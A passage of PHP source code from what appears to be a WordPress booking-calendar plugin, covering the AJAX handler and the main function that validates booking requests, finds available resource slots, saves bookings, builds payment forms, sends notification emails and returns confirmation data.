wpbc_get_bookings_url() ;?>&view_mode=vm_listing&tab=actions&wh_booking_id=<?php echo $is_edit_booking['booking_id'] ; ?>'; */ // ----------------------------------------------------------------------------------------------------------------- // == Ajax === // ----------------------------------------------------------------------------------------------------------------- /** * Send JSON. It will make "wp_json_encode" - so pass only array, and This function call wp_die( '', '', array( 'response' => null, ) ) . * Pass JS OBJ: response_data in "jQuery.post " function on success. * * Other End Ajax actions: * $error_obj = new WP_Error( 'WPBC_CREATE', __( 'test error.' ), 'some/data' ); wp_send_json_error( $error_obj ); * wp_send_json_error( array( 'message' => 'invalid-api-key' ) ); * wp_send_json_success( array( 'message' =>'Ok:)' ) ); */ wp_send_json( array( 'booking_id' => $booking_save_arr['booking_id'], 'resource_id' => $request_params['resource_id'], 'ajx_data' => $ajx_data_arr, 'ajx_confirmation' => $booking_save_arr['confirmation'], // For debug purpose <- comment in live serv 'php_process_times' => $booking_save_arr['php_performance'], 'booking_arr' => $booking_save_arr ['booking_arr'], // Not needed ? // 'ajx_search_params' => $_REQUEST[ $request_prefix ], // 'ajx_cleaned_params' => $request_params, ) ); } // Ajax Hooks if ( is_admin() && ( defined( 'DOING_AJAX' ) ) && ( DOING_AJAX ) ) { add_action( 'wp_ajax_nopriv_' . 'WPBC_AJX_BOOKING__CREATE', 'ajax_' . 'WPBC_AJX_BOOKING__CREATE' ); // Client (not logged in) add_action( 'wp_ajax_' . 'WPBC_AJX_BOOKING__CREATE', 'ajax_' . 'WPBC_AJX_BOOKING__CREATE' ); // Logged In users (or admin panel) } // --------------------------------------------------------------------------------------------------------------------- // == Save Booking // --------------------------------------------------------------------------------------------------------------------- /** * Save Booking - ADD NEW or UPDATE exist booking * * @param $request_params = [ * resource_id = 2 REQUIRED Default: 1 * dates_ddmmyy_csv = '27.10.2023, 28.10.2023, 29.10.2023' REQUIRED * form_data = 'text^selected_short_dates_hint2^Fri, ...9, 2023~text^...' REQUIRED * booking_hash = '' Optional Default: '' * custom_form = '' Optional Default: '' * is_emails_send = 1 Optional Default: 1 * is_show_payment_form => 1 Optional Default: 1 * user_id = 1 Optional Default: 0 or ID of logged-in user * request_uri = 'http://beta/resource-id2/', // Optional Default: for front-end: $_SERVER['REQUEST_URI'] | ajax: $_SERVER['HTTP_REFERER'] * * 'sync_gid' => 'ghjgjgjgh5f5f45f' // Really Optional: can be passed only during import .ics * 'is_approve_booking' => 0 // Really Optional: 0 | 1 * 'save_booking_even_if_unavailable' => 0 // Really Optional: 0 | 1, if 1 then force save booking even if dates unavailable. * ] * * @return [] ok: [ * * ] * error: [ * 'ajx_data': [ 'status':'error', 'status_error':'booking_can_not_save', 'ajx_after_action_message': 'Can not save booking', 'ajx_after_action_message_status': 'warning' ] * ] * * Example: * * wpbc_booking_save( array( * 'resource_id' => 2, * 'dates_ddmmyy_csv' => '04.10.2023, 05.10.2023, 06.10.2023', * 'form_data' => 'text^cost_hint2^150.00฿~selectbox-multiple^rangetime2[]^14:00 - 16:00~text^name2^John~text^secondname2^Smith~email^email2^john.smith@server.com~selectbox-one^visitors2^2~selectbox-one^children2^0~textarea^details2^test', * 'booking_hash' => '', * 'custom_form' => '', * 'is_emails_send' => 1, * 'is_show_payment_form' => 1, * 'user_id' => 1, * 'request_uri' => 'http://beta/resource-id2/' * ) ); * */ function wpbc_booking_save( $request_params ){ // <editor-fold defaultstate="collapsed" desc=" = PERFORMANCE = " > $php_performance = php_performance_START( 'total', array() ); // </editor-fold> $ajx_data_arr = array(); $ajx_data_arr['status'] = 'ok'; // ----------------------------------------------------------------------------------------------------------------- // 1. Direct Clean Params // ----------------------------------------------------------------------------------------------------------------- $validate_arr_rules = array( 'resource_id' => array( 'validate' => 'd', 'default' => 1 ), // INT 'dates_ddmmyy_csv' => array( 'validate' => 'csv_dates', 'default' => '' ), //FixIn: 9.9.1.1 'form_data' => array( 'validate' => 'strong', 'default' => '' ), 'booking_hash' => array( 'validate' => 'strong', 'default' => '' ), 'custom_form' => array( 'validate' => 'strong', 'default' => '' ), 'is_emails_send' => array( 'validate' => 'd', 'default' => 1 ), // 0 | 1 'is_show_payment_form' => array( 'validate' => 'd', 'default' => 1 ), // 0 | 1 'user_id' => array( 'validate' => 'd', 'default' => wpbc_get_current_user_id() ), // INT 'request_uri' => array( 'validate' => 'strong', 'default' => ( ( defined( 'DOING_AJAX' ) ) && ( DOING_AJAX ) ) ? $_SERVER['HTTP_REFERER'] : $_SERVER['REQUEST_URI'] ), // front-end: $_SERVER['REQUEST_URI'] | ajax: $_SERVER['HTTP_REFERER'] // Really Optional: 'aggregate_resource_id_arr' => array( 'validate' => 'digit_or_csd', 'default' => '' ), //TODO: this parameter does not transfer during saving, so here will be always default value 'bookings_only' //FixIn: 10.0.0.7 'aggregate_type' => array( 'validate' => 'strong', 'default' => 'bookings_only' ), // Optional. 'all' | 'bookings_only' <- it is depends on shortcode parameter: options="{aggregate type=bookings_only}" 'is_approve_booking' => array( 'validate' => 'd', 'default' => 0 ), // 0 | 1 'save_booking_even_if_unavailable' => array( 'validate' => 'd', 'default' => 0 ), // 0 | 1 'sync_gid' => array( 'validate' => 'strong', 'default' => '' ), 'is_use_booking_recurrent_time' => array( 'validate' => 'd', 'default' => intval( ( 'On' === get_bk_option( 'booking_recurrent_time' ) ) ) ) ); $re_cleaned_params = wpbc_sanitize_params_in_arr( $request_params, $validate_arr_rules ); $admin_uri = ltrim( str_replace( get_site_url( null, '', 'admin' ), '', admin_url( 'admin.php?' ) ), '/' ); // wp-admin/admin.php? // ----------------------------------------------------------------------------------------------------------------- // Local parameters // ----------------------------------------------------------------------------------------------------------------- $local_params = array(); $local_params['is_from_admin_panel'] = ( false !== strpos( $re_cleaned_params['request_uri'], $admin_uri ) ); // true | false $local_params['user_id'] = $re_cleaned_params['user_id']; // 1 $local_params['sync_gid'] = $re_cleaned_params['sync_gid']; // '' $local_params['is_approve_booking'] = $re_cleaned_params['is_approve_booking']; // 0 | 1 $local_params['is_use_booking_recurrent_time'] = ( 1 === $re_cleaned_params['is_use_booking_recurrent_time'] ); // false | true // ----------------------------------------------------------------------------------------------------------------- // Parse Local parameters for later use // ----------------------------------------------------------------------------------------------------------------- /** * Get parsed booking form: = [ name = "John", secondname = "Smith", email = "john.smith@server.com", visitors = "2",... ] */ $local_params['structured_booking_data_arr'] = wpbc_get_parsed_booking_data_arr( $re_cleaned_params["form_data"], $re_cleaned_params["resource_id"], array( 'get' => 'value' ) ); $local_params['all_booking_data_arr'] = wpbc_get_parsed_booking_data_arr( $re_cleaned_params["form_data"], $re_cleaned_params["resource_id"] ); // Important! : [ 64800, 72000 ] $local_params['time_as_seconds_arr'] = wpbc_get_in_booking_form__time_to_book_as_seconds_arr( $local_params['structured_booking_data_arr'] ); // [ "18:00:00", "20:00:00" ] $time_as_seconds_arr = $local_params['time_as_seconds_arr']; $time_as_seconds_arr[0] = ( 0 != $time_as_seconds_arr[0] ) ? $time_as_seconds_arr[0] + 1 : $time_as_seconds_arr[0]; // set check in time with ended 1 second $time_as_seconds_arr[1] = ( ( 24 * 60 * 60 ) != $time_as_seconds_arr[1] ) ? $time_as_seconds_arr[1] + 2 : $time_as_seconds_arr[1]; // set check out time with ended 2 seconds if ( ( 0 != $time_as_seconds_arr[0] ) && ( ( 24 * 60 * 60 ) == $time_as_seconds_arr[1] ) ) { //FixIn: 10.0.0.49 - in case if we have start time != 00:00 and end time as 24:00 then set end time as 23:59:52 $time_as_seconds_arr[1] += - 8; } $local_params['time_as_his_arr'] = array( wpbc_transform__seconds__in__24_hours_his( $time_as_seconds_arr[0] ), wpbc_transform__seconds__in__24_hours_his( $time_as_seconds_arr[1] ) ); // [ '2023-09-10', '2023-09-11' ] $local_params['dates_only_sql_arr'] = wpbc_convert_dates_str__dd_mm_yyyy__to__yyyy_mm_dd( $re_cleaned_params["dates_ddmmyy_csv"] ); $local_params['dates_only_sql_arr'] = explode( ',', $local_params['dates_only_sql_arr'] ); $local_params['is_show_payment_form'] = $re_cleaned_params["is_show_payment_form"]; //FixIn: 9.9.0.35 if ( $local_params['is_show_payment_form'] ) { $local_params['is_show_payment_form'] = ( false !== strpos( $re_cleaned_params['request_uri'], 'is_show_payment_form=Off' ) ) ? 0 : $local_params['is_show_payment_form']; // 1|0 } // Get EDIT booking data $local_params['edit_resource_id'] = ''; $local_params['skip_booking_id'] = ''; $local_params['is_edit_booking'] = 0; $local_params['is_duplicate_booking'] = 0; $is_edit_booking = wpbc_get_data__if_edit_booking( $re_cleaned_params['booking_hash'], $re_cleaned_params['request_uri'] ); if ( false !== $is_edit_booking ) { $local_params['edit_resource_id'] = $is_edit_booking['resource_id']; // can be parent booking resource, where we edit the booking $local_params['skip_booking_id'] = $is_edit_booking['booking_id']; // booking ID $local_params['is_edit_booking'] = $is_edit_booking['booking_id']; // booking ID if ( ( ! empty( $local_params['structured_booking_data_arr']['wpbc_other_action'] ) ) && ( 'duplicate_booking' === $local_params['structured_booking_data_arr']['wpbc_other_action'] ) ){ $local_params['is_duplicate_booking'] = 1; } } // It can be request resource ID or if we edit booking, it can be 'edit resource' - (e.g. child resource) $local_params['initial_resource_id'] = ( ! empty( $local_params['edit_resource_id'] ) ) ? $local_params['edit_resource_id'] : $re_cleaned_params['resource_id']; // 2 $local_params['how_many_items_to_book'] = wpbc_get__how_many_items_to_book__in_booking_form( $local_params['structured_booking_data_arr'], $local_params['initial_resource_id'] ); $local_params['aggregate_resource_id_arr'] = explode( ',', $re_cleaned_params['aggregate_resource_id_arr'] ); $local_params['aggregate_resource_id_arr'] = array_filter( $local_params['aggregate_resource_id_arr'] ); // All entries of array equal to FALSE (0, '', '0' ) will be removed. $local_params['aggregate_resource_id_arr'] = array_unique( $local_params['aggregate_resource_id_arr'] ); // Erase duplicates // ----------------------------------------------------------------------------------------------------------------- // Here GO // ----------------------------------------------------------------------------------------------------------------- // Force - resource saving parameters, instead of wpbc__where_to_save_booking() if ( ! empty( $re_cleaned_params["save_booking_even_if_unavailable"] ) ) { $local_params['how_many_items_to_book'] = 1; $dates_keys_arr = array_values( $local_params['dates_only_sql_arr'] ); // [ '2023-09-23', '2023-09-24' ] $resources_in_dates = array_fill_keys( $dates_keys_arr , array( $local_params['initial_resource_id'] ) ); // [ 2023-09-23 = [ 2 ], 2023-09-24 = [ 2 ] ] $where_to_save_booking = array(); $where_to_save_booking['result'] = 'ok'; $where_to_save_booking['resources_in_dates'] = $resources_in_dates; // [ 2023-09-23 = [ 2, 10, 11 ], 2023-09-24 = [ 2, 10, 11 ] $where_to_save_booking['time_to_book'] = $local_params['time_as_his_arr']; // [ "00:00:00", "24:00:00" ] $where_to_save_booking['main__resource_id'] = $local_params['initial_resource_id']; // here edit or request (parent/single) resource } else { // <editor-fold defaultstate="collapsed" desc=" = PERFORMANCE = " > $php_performance = php_performance_START( 'wpbc__where_to_save_booking' , $php_performance ); // </editor-fold> /** * Get slots [] where we can save booking = [ 'resources_in_dates' => [ 2023-10-18 = [ 2, 12, 10, 11 ] * 2023-10-19 = [ 2, 12, 10, 11 ] * 2023-10-20 = [ 2, 12, 10, 11 ] * ], * 'time_to_book' => [ "14:00:01" , "12:00:01" ], * 'result' => 'ok' * 'main__resource_id' => 2 * ] * OR * [ 'result' => 'error', 'message' => 'Booking can not be saved ...' ] */ $where_to_save_booking = wpbc__where_to_save_booking( array( 'resource_id' => $local_params['initial_resource_id'], // 2 //TODO: If edit booking. What to pass 'edit' or 'parent' resource ID? 'skip_booking_id' => $local_params['skip_booking_id'], // '', | 125 if edit booking 'dates_only_sql_arr' => $local_params['dates_only_sql_arr'], // [ "2023-10-18", "2023-10-25", "2023-11-25" ] 'time_as_seconds_arr' => $local_params['time_as_seconds_arr'], // [ 36000, 39600 ] 'how_many_items_to_book' => $local_params['how_many_items_to_book'], // 1 'request_uri' => $re_cleaned_params['request_uri'], // 'http://beta/resource-id2/' 'is_use_booking_recurrent_time' => $local_params['is_use_booking_recurrent_time'], // true | false 'as_single_resource' => false, // false 'aggregate_resource_id_arr' => $local_params['aggregate_resource_id_arr'], // Optional can be '' 'aggregate_type' => $re_cleaned_params['aggregate_type'], //TODO: this parameter does not transfer during saving, so here will be always default value 'bookings_only' //FixIn: 10.0.0.7 'custom_form' => $re_cleaned_params['custom_form'] //FixIn: 10.0.0.10 )); // <editor-fold defaultstate="collapsed" desc=" :: ERROR :: <- NO SLOTS TO SAVE " > if ( 'error' == $where_to_save_booking['result'] ) { $ajx_data_arr['status'] = 'error'; $ajx_data_arr['status_error'] = 'booking_can_not_save'; $ajx_data_arr['ajx_after_action_message'] = $where_to_save_booking['message']; $ajx_data_arr['ajx_after_action_message_status'] = 'warning'; return array( 'ajx_data' => $ajx_data_arr ); } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" = PERFORMANCE = " > $php_performance = php_performance_END( 'wpbc__where_to_save_booking' , $php_performance ); // </editor-fold> } // Get parameters, from REQUEST $create_params = $local_params; $create_params['resource_id'] = ( ! empty( $local_params['edit_resource_id'] ) ) ? $local_params['edit_resource_id'] // If we edit, then use original resource ??? : $where_to_save_booking['main__resource_id']; // Here is important TIP, resource can be where is free, and not where we submit /** * TODO: I think it's resolved! Just test about this situation, when we edit the booking - and it's means that we have $local_params['edit_resource_id'] * but what, if $where_to_save_booking do not contain this $local_params['edit_resource_id'] as available resource. * or even we have $local_params['edit_resource_id'] = 2 and $where_to_save_booking contain resources like [ 1, 2, 3, 4 ] * we make booking for 3 slots * in this case, main resource will be 2 * but then when we loop resources in wpbc_db__booking_save() we will save child booking resources for dates like: 2, 3, 4 ( and it's wrong ) * "(205, '2023-10-04 00:00:00', 0, NULL)" <- main resource '2' e.g. $local_params['edit_resource_id'] = 2 * "(205, '2023-10-04 00:00:00', 0, 2)" ? <- child resource '2' e.g. [ .., 2, .. ] in $where_to_save_booking WHICH IS WRONG */ $create_params['is_emails_send'] = $re_cleaned_params['is_emails_send']; $create_params['custom_form'] = $re_cleaned_params['custom_form']; make_bk_action( 'check_multiuser_params_for_client_side', $create_params['resource_id'] ); // Activate working with specific user in WP MU // <editor-fold defaultstate="collapsed" desc=" = PERFORMANCE = " > $php_performance = php_performance_START( 'wpbc_db__booking_save' , $php_performance ); // </editor-fold> // ----------------------------------------------------------------------------------------------------------------- // == CREATE_THE 'NEW_BOOKING' == // ----------------------------------------------------------------------------------------------------------------- $create_booking_params = array( 'resource_id' => $create_params['resource_id'], 'custom_form' => $create_params['custom_form'], 'all_booking_data_arr' => $create_params['all_booking_data_arr'], 'dates_only_sql_arr' => $create_params['dates_only_sql_arr'], 'time_as_his_arr' => $create_params['time_as_his_arr'], 'is_from_admin_panel' => $create_params['is_from_admin_panel'], 'is_edit_booking' => $create_params['is_edit_booking'], 'is_duplicate_booking' => $create_params['is_duplicate_booking'], 'is_approve_booking' => $create_params['is_approve_booking'], 'how_many_items_to_book' => $create_params['how_many_items_to_book'], 'is_use_booking_recurrent_time' => $create_params['is_use_booking_recurrent_time'] // true | false ); if ( ! empty( $create_params['sync_gid'] ) ) { $create_booking_params['sync_gid'] = $create_params['sync_gid']; } $booking_new_arr = wpbc_db__booking_save( $create_booking_params, $where_to_save_booking ); // <editor-fold defaultstate="collapsed" desc=" :: ERROR :: <- BOOKING CREATION " > if ( 'ok' !== $booking_new_arr['status'] ) { $ajx_data_arr['status'] = $booking_new_arr['status']; $ajx_data_arr['status_error'] = 'booking_can_not_save'; $ajx_data_arr['ajx_after_action_message'] = $booking_new_arr['message']; $ajx_data_arr['ajx_after_action_message_status'] = 'error'; return array( 'ajx_data' => $ajx_data_arr ); } // </editor-fold> //FixIn: 9.9.0.36 if ( ( 0 !== $create_params['is_edit_booking'] ) // If edit booking && ( 1 != $create_params['is_duplicate_booking'] ) // If not duplicate ) { // Log the cost info. $is_add_timezone_offset = true; $booking_note = wpbc_date_localized( gmdate( 'Y-m-d H:i:s' ), '[Y-m-d H:i]', $is_add_timezone_offset ) . ' '; $booking_note .= __( 'The booking has been edited', 'booking' ) . '. | Edit URL: ' . esc_url_raw( $re_cleaned_params['request_uri'] ) . ''; make_bk_action( 'wpdev_make_update_of_remark', $booking_new_arr['booking_id'], $booking_note, true ); } // <editor-fold defaultstate="collapsed" desc=" = PERFORMANCE = " > $php_performance = php_performance_END( 'wpbc_db__booking_save' , $php_performance ); // </editor-fold> // ----------------------------------------------------------------------------------------------------------------- // Get payment form(s) and Update COST of the booking // ----------------------------------------------------------------------------------------------------------------- $payment_params = array(); // Usually we have this: ( $str_dates__dd_mm_yyyy == $create_params['dates_only_sql_arr'] ) - but for ensure, use saved dates, e.g. $str_dates__dd_mm_yyyy $payment_params['booked_dates_times_arr'] = array( 'dates_ymd_arr' => array_keys( $where_to_save_booking['resources_in_dates'] ), // [ 2023-10-20=>[], 2023-10-25=>[] ] -> [ "2023-10-20", "2023-10-25" ] 'times_his_arr' => $where_to_save_booking['time_to_book'] // ['16:00:01', '18:00:02'] ); $str_dates__dd_mm_yyyy = wpbc_convert_dates_arr__yyyy_mm_dd__to__dd_mm_yyyy( $payment_params['booked_dates_times_arr']['dates_ymd_arr'] ); // ['2023-10-20','2023-10-25'] => ['20.10.2023','25.10.2023'] $payment_params['str_dates__dd_mm_yyyy'] = implode( ',', $str_dates__dd_mm_yyyy ); // REQUIRED -- '14.11.2023, 15.11.2023, 16.11.2023, 17.11.2023' $payment_params['booking_id'] = $booking_new_arr['booking_id']; // REQUIRED -- '2' $payment_params['resource_id'] = $create_params['resource_id']; // REQUIRED -- '2' can be child resource (changed in wpbc_where_to_save() ) $payment_params['initial_resource_id'] = $local_params['initial_resource_id']; // REQUIRED -- '2' initial calendar - parent resource $payment_params['form_data'] = $booking_new_arr['form_data']; // we re-save it, because here can be sync_guid and custom form new data from wpbc_db__booking_save(..) // REQUIRED -- 'text^selected_short_timedates_hint4^06/11/2018 14:00...' $payment_params['times_array'] = array( explode( ':', $where_to_save_booking['time_to_book'][0] ), // ["10","00","00"] explode( ':', $where_to_save_booking['time_to_book'][1] ) // ["12","00","00"] ); // Additional options $payment_params['is_edit_booking'] = $create_params['is_edit_booking']; // => 0 0 | int - ID of the booking $payment_params['custom_form'] = $create_params['custom_form']; // => '' '' | 'some_name' $payment_params['is_duplicate_booking'] = $create_params['is_duplicate_booking']; // => 0 0 | 1 $payment_params['is_from_admin_panel'] = $create_params['is_from_admin_panel']; // => false true | false $payment_params['is_show_payment_form'] = $create_params['is_show_payment_form']; // => 1 0 | 1 if ( $payment_params['is_from_admin_panel'] ) { // $payment_params['is_show_payment_form'] = 0; //FixIn: 9.9.0.21 } // <editor-fold defaultstate="collapsed" desc=" = PERFORMANCE = " > $php_performance = php_performance_START( 'wpbc_maybe_get_payment_form' , $php_performance ); // </editor-fold> // GET PAYMENT FORMS =============================================================================================== if ( function_exists( 'wpbc_maybe_get_payment_form' ) ) { $response__payment_form__arr = wpbc_maybe_get_payment_form( $payment_params ); // <editor-fold defaultstate="collapsed" desc=" :: ERROR :: <- COSTS || PAYMENT_SYSTEMS " > if ( ( ! empty( $response__payment_form__arr['status'] ) ) && ( 'ok' != $response__payment_form__arr['status'] ) ) { $ajx_data_arr['status'] = $response__payment_form__arr['status']; $ajx_data_arr['status_error'] = 'booking_can_not_save'; $ajx_data_arr['ajx_after_action_message'] = $response__payment_form__arr['message']; $ajx_data_arr['ajx_after_action_message_status'] = 'error'; return array( 'ajx_data' => $ajx_data_arr ); } // </editor-fold> if ( ! empty( $response__payment_form__arr['costs_arr']['form_data'] ) ) { $payment_params['form_data'] = $response__payment_form__arr['costs_arr']['form_data']; // we re-save it, because here can be [cost_correction] shortcode data } //TODO: Do we really need this in output $ajx_data_arr ???, because it stored in $confirmation if ( ! empty( $response__payment_form__arr['gateways_output_arr'] ) ) { $ajx_data_arr['gateways_output_arr'] = $response__payment_form__arr['gateways_output_arr']; } if ( function_exists( 'wpbc_if_zero_cost__approve_booking_dates' ) ) { wpbc_if_zero_cost__approve_booking_dates( $payment_params['booking_id'] ); } } else { $response__payment_form__arr = $payment_params; $response__payment_form__arr['status'] = 'ok'; } // <editor-fold defaultstate="collapsed" desc=" = PERFORMANCE = " > $php_performance = php_performance_END( 'wpbc_maybe_get_payment_form' , $php_performance ); $php_performance = php_performance_START( 'emails_sending' , $php_performance ); // </editor-fold> // ----------------------------------------------------------------------------------------------------------------- // == Emails === // ----------------------------------------------------------------------------------------------------------------- if ( 1 == $re_cleaned_params['is_emails_send'] ) { $email_content = $payment_params['form_data']; // If we output any text, then probably it's errors or warnings, we need to catch them ob_start(); ob_clean(); if ( ( 0 === $local_params['is_edit_booking'] ) || ( 1 === $local_params['is_duplicate_booking'] ) //FixIn: 10.0.0.42 ){ // New booking to Admin wpbc_send_email_new_admin( $payment_params['booking_id'], $payment_params['resource_id'], $email_content ); // New pending to Visitor wpbc_send_email_new_visitor( $payment_params['booking_id'], $payment_params['resource_id'], $email_content ) ; $is_booking_approved = wpbc_is_booking_approved( $payment_params['booking_id'] ); if ( $is_booking_approved ) { // New approved to Visitor / Admin wpbc_send_email_approved( $payment_params['booking_id'], 1 ); } // Payment request from admin panel, if needed if( ( $payment_params['is_from_admin_panel'] ) && ( 'On' == get_bk_option( 'booking_payment_request_auto_send_in_bap' ) ) && ( function_exists( 'wpbc_send_email_payment_request' ) ) ){ $payment_reason = ''; $is_send = wpbc_send_email_payment_request( $payment_params['booking_id'], $payment_params['resource_id'], $email_content , $payment_reason ); } do_action( 'wpbc_booking_approved' , $payment_params['booking_id'] , (int) $is_booking_approved ); } else { // Edited booking to Visitor / Admin if ( function_exists( 'wpbc_send_email_modified' ) ) { wpbc_send_email_modified( $payment_params['booking_id'], $payment_params['resource_id'], $email_content ); } } $errors_on_email_sending_html = ob_get_contents(); ob_end_clean(); if ( ! empty( $errors_on_email_sending_html ) ) { // Show these messages as warning after creation of the booking $errors_on_email_sending_html = strip_tags( $errors_on_email_sending_html ); $errors_on_email_sending_html = esc_attr( $errors_on_email_sending_html ); $errors_on_email_sending_html = str_replace( "\\n", '', $errors_on_email_sending_html ); $ajx_data_arr['ajx_after_action_message_status'] = 'warning'; $ajx_data_arr['ajx_after_action_message'] = $errors_on_email_sending_html; } } // <editor-fold defaultstate="collapsed" desc=" = PERFORMANCE = " > $php_performance = php_performance_END( 'emails_sending' , $php_performance ); // </editor-fold> // ----------------------------------------------------------------------------------------------------------------- // == Track booking - New | Edit === // ----------------------------------------------------------------------------------------------------------------- /** * Useful hook for Google Ads Conversion tracking. How to use this hook? * * Add code similar to this in your functions.php file in your theme, or in some other php file: * // Track adding new booking // // @param $params = array ( // 'str_dates__dd_mm_yyyy' => '08.10.2023,09.10.2023,10.10.2023,11.10.2023', // 'booking_id' => 254, // 'resource_id' => 11, // child or parent or single // 'initial_resource_id' => 2, // parent or single // 'form_data' => 'text^selected_short_dates_hint11^Sun...', // 'times_array' => array ( array ( '14', '00', '01' ), array( '12', '00', '02' ) ), // 'is_edit_booking' => 0, // 'custom_form' => '', // 'is_duplicate_booking' => 0, // 'is_from_admin_panel' => false, // 'is_show_payment_form' => 1 // ) function my_booking_tracking( $params ){ // Your code here ?><!-- Google Code for Booking Conversion Page --> <script type="text/javascript"> // Insert bellow your Google Conversion Code </script><?php } add_action( 'wpbc_track_new_booking', 'my_booking_tracking' ); * * * * Useful hook booking edit tracking * * Add code similar to this in your functions.php file in your theme, or in some other php file: * // Track edit existing booking // // @param $params = array ( // 'str_dates__dd_mm_yyyy' => '08.10.2023,09.10.2023,10.10.2023,11.10.2023', // 'booking_id' => 254, // 'resource_id' => 11, // child or parent or single // 'initial_resource_id' => 2, // parent or single // 'form_data' => 'text^selected_short_dates_hint11^Sun...', // 'times_array' => array ( array ( '14', '00', '01' ), array( '12', '00', '02' ) ), // 'is_edit_booking' => 1, // 'custom_form' => '', // 'is_duplicate_booking' => 0, // 'is_from_admin_panel' => false, // 'is_show_payment_form' => 1 // ) function my_edit_booking_tracking( $params ){ // Your code here ?><!-- Google Code for Booking Conversion Page --> <script type="text/javascript"> // Insert bellow your Google Conversion Code </script><?php } add_action( 'wpbc_track_edit_booking', 'my_edit_booking_tracking' ); */ if ( 0 === $local_params['is_edit_booking'] ) { do_action( 'wpbc_track_new_booking', $payment_params ); } else { do_action( 'wpbc_track_edit_booking', $payment_params ); } // <editor-fold defaultstate="collapsed" desc=" = PERFORMANCE = " > $php_performance = php_performance_START( 'confirmation' , $php_performance ); // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" == Confirmation data == " > $confirmation_params_arr = array( 'is_from_admin_panel' => $payment_params['is_from_admin_panel'], 'booking_id' => $booking_new_arr['booking_id'], // 16102023 'resource_id' => $payment_params['resource_id'], // 1 'form_data' => $payment_params['form_data'], // 'text^selected_short_dates_hint11^Sun...', 'dates_ymd_arr' => $payment_params['booked_dates_times_arr']['dates_ymd_arr'], // [ '2023-10-20', '2023-10-25' ] 'times_his_arr' => $payment_params['booked_dates_times_arr']['times_his_arr'], // [ '16:00:01', '18:00:02' ] 'total_cost' => ( isset( $response__payment_form__arr['costs_arr'] ) && isset( $response__payment_form__arr['costs_arr']['total_cost'] ) ) ? $response__payment_form__arr['costs_arr']['total_cost'] : 0, 'deposit_cost' => ( isset( $response__payment_form__arr['costs_arr'] ) && isset( $response__payment_form__arr['costs_arr']['deposit_cost'] ) ) ? $response__payment_form__arr['costs_arr']['deposit_cost'] : 0, 'booking_summary' => ( ( ! empty( $response__payment_form__arr['gateways_output_arr'] ) ) && ( ! empty( $response__payment_form__arr['gateways_output_arr']['booking_summary'] ) ) ) ? $response__payment_form__arr['gateways_output_arr']['booking_summary'] : '', 'gateway_rows' => ( ( ! empty( $response__payment_form__arr['gateways_output_arr'] ) ) && ( ! empty( $response__payment_form__arr['gateways_output_arr']['gateway_rows'] ) ) ) ? $response__payment_form__arr['gateways_output_arr']['gateway_rows'] : '' ); // It will not show payment form in Booking > Add booking page and if defined, do not make redirect if ( $payment_params['is_from_admin_panel'] ) { $confirmation_params_arr['ty_is_redirect'] = 'message'; // Do not make redirect, if it's in admin panel! // But if we edit / duplicate the booking, then do redirection to Booking Listing page //FixIn: 9.9.0.3 if ( ( 0 !== $local_params['is_edit_booking'] ) // && ( empty( $local_params['is_duplicate_booking'] ) ) ){ $confirmation_params_arr['ty_is_redirect'] = 'page'; $confirmation_params_arr['ty_url'] = wpbc_get_bookings_url() . '&view_mode=vm_listing&tab=actions&wh_booking_id=' . $confirmation_params_arr['booking_id']; } } $confirmation = wpbc_booking_confirmation( $confirmation_params_arr ); // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" = PERFORMANCE = " > $php_performance = php_performance_END( 'confirmation' , $php_performance ); // </editor-fold> make_bk_action( 'finish_check_multiuser_params_for_client_side', $create_params['resource_id'] ); // Deactivate working with specific user in WP MU // <editor-fold defaultstate="collapsed" desc=" = PERFORMANCE = " > $php_performance = php_performance_END( 'total' , $php_performance ); $php_performance['other_code'] = - 1 * array_reduce( $php_performance, function ( $sum, $item ) { $sum += $item; return $sum; } , - 2 * $php_performance['total'] ); // PERFORMANCE OTHER - after TOTAL // </editor-fold> return array( 'ajx_data' => $ajx_data_arr, // [ 'status' => "ok", 'wpbc_payment_output' => "<p>Dear John<br..." ] 'booking_id' => $booking_new_arr['booking_id'], // 254 'booking_arr' => $payment_params, 'php_performance' => $php_performance, // [ ... ] 'confirmation' => $confirmation // [ ] ); } // --------------------------------------------------------------------------------------------------------------------- // New booking creation sub functions // --------------------------------------------------------------------------------------------------------------------- /** * Save booking in DB * * @param array $create_params = [ * 'resource_id' => 10, * 'dates_only_sql_arr' => [ '2023-10-04', '2023-10-05', '2023-10-06'], * 'time_as_his_arr' => [ '14:00:01', '16:00:02' ], * 'is_from_admin_panel' => false, * 'is_edit_booking' => 0, * 'is_duplicate_booking' => 0, * 'is_approve_booking' => 0, * 'how_many_items_to_book' => 2, * 'custom_form' => '', * 'is_use_booking_recurrent_time' => false, * 'all_booking_data_arr' => [ 'rangetime' => [ * 'type' => 'selectbox-multiple', * 'original_name' => 'rangetime2[]', //NOTE: here RESOURCE ID (2) can be from Parent resource, but resource_id can rely on child (10) resource * 'name' => 'rangetime', * 'value' => '14:00 - 16:00', * ], * 'name' => [ 'type' => 'text', 'original_name' => 'name2', ... ], * ... * ] * ] * * @param $where_to_save_booking = [ * 'result' = 'ok', * 'main__resource_id' = 2 * 'resources_in_dates' = [ 2023-10-18 = [ 2, 12, 10, 11 ] * 2023-10-19 = [ 2, 12, 10, 11 ] * 2023-10-20 = [ 2, 12, 10, 11 ] * ], * 'time_to_book' = [ "14:00:01" , "16:00:02" ] * ] * * @return [ * 'status' => 'ok' 'ok' | 'error' | 'warning' * 'booking_id' => 100 int * 'message' => '' 'If error, then here can be description of error' * 'form_data' => If 'ok' form data can be different here, 'custom_form' parameter, so it can add 'wpbc_custom_booking_form' field for identification, what custom booking form was used, * ] */ function wpbc_db__booking_save( $create_params, $where_to_save_booking ) { /** * Tip: $create_params['all_booking_data_arr'] - contain: [ 'field_name' => [ 'type' = "checkbox", 'original_name' = "fixed_fee2[]", 'name' = "fixed_fee", 'value' = "true" ] , ... ] * $create_params['structured_booking_data_arr'] - contain: [ 'field_name' => 'field_value' , ... ] */ // <editor-fold defaultstate="collapsed" desc=" :: ERROR :: <- 'Wrong resource ID " > if ( empty( $create_params['resource_id'] ) ) { return array( 'status' => 'error', 'message' => 'Wrong ID of booking resource: ' . $create_params['resource_id'] ); } // </editor-fold> $defaults = array( 'is_use_booking_recurrent_time' => ( 'On' === get_bk_option( 'booking_recurrent_time' ) ) ); $create_params = wp_parse_args( $create_params, $defaults ); $sql_field_arr = array(); // Is it was used custom booking form ? if ( ! empty( $create_params['custom_form'] ) ) { 